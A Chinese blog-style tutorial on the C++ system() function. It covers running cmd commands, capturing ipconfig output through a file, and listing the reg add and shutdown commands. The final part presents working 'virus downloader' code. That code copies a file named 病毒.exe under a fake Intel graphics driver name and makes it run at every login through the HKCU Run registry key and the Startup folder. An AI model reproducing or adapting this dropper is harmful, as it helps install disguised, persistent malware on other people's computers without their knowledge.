system函数,即DOS(磁盘操作系统)。也就是说,凡是能在cmd下运行的命名,都可以用system实现!
函数原型:int __cdecl system(const char *);
头文件:#include<cstdlib>
许多人认为头文件是windows.h,不过windows.h只能在视窗系统下编译
传入const char*类型的cmd命令,即可执行相应命令。
例如,如果想执行cmd命令“ipconfig”,只要这样写即可:system("ipconfig");
还有常见的清空输出、按任意键继续就可以写成system("cls");system("pause");
打开文件还可以写成system("文件路径");
你们敢相信吗,我曾经为了复制一个文件废了好几个小时来学习文件二进制读写,最后才发现直接用copy命令就行了……
对于想要获取执行的cmd命令的输出 ,比较方便的方法就是用“>>“将输出的命令放到文件中,再从文件中读取即可:
#include<cstdlib>
#include<fstream>
#include<iostream>
int main(){
std::ofstream out;
out.open("C:\\a.txt");//用文件输出流创建文件
out.close();//关闭输出流
system("ipconfig>>C:\\a.txt");//执行cmd命令ipconfig,并将输出结果放到a.txt文件中
std::ifstream in;
in.open("C:\\a.txt");//打开文件输入流,指向a.txt
char a;
while(in>>a)std::cout<<a;
system("pause");
return 0;
}
知道为什么我说system可以打天下吗?因为它还有这样的功能:
reg add————修改注册表项(即可添加开机自启动项)
ipconfig————获取电脑ip
shutdown -s -t x————x秒后关机
shutdown -r -t x————x秒后重启
shutdown -l -t x————x秒后注销
所以,我们可以写一个病毒的下载器:
#include<bits/stdc++.h>
#include<windows.h>
#include <unistd.h>
#define PATH_SIZE 255
using namespace std;
int main(){
char c[PATH_SIZE];
if(!getcwd(c,PATH_SIZE)){
cout<<"无法找到所在位置"<<endl;
return 0;
}
string path=c;
string a,b;
a="copy \"";
b="\\病毒.exe\" D:\\IntelHDGraphicsDriversforWindows(R).exe";
a=a+c+b;
system(a.data());
system("reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Path /t REG_SZ /d ^D:\\IntelHDGraphicsDriversforWindows(R).exe^ /f");
a="copy D:\\IntelHDGraphicsDriversforWindows(R).exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\IntelHDGraphicsDriversforWindows(R).exe\"";
system(a.data());
Sleep(10000);
return 0;
}
也就是把病毒.exe文件添加开机自启。知道system函数的强大与危险了吗?知道了就点个赞吧~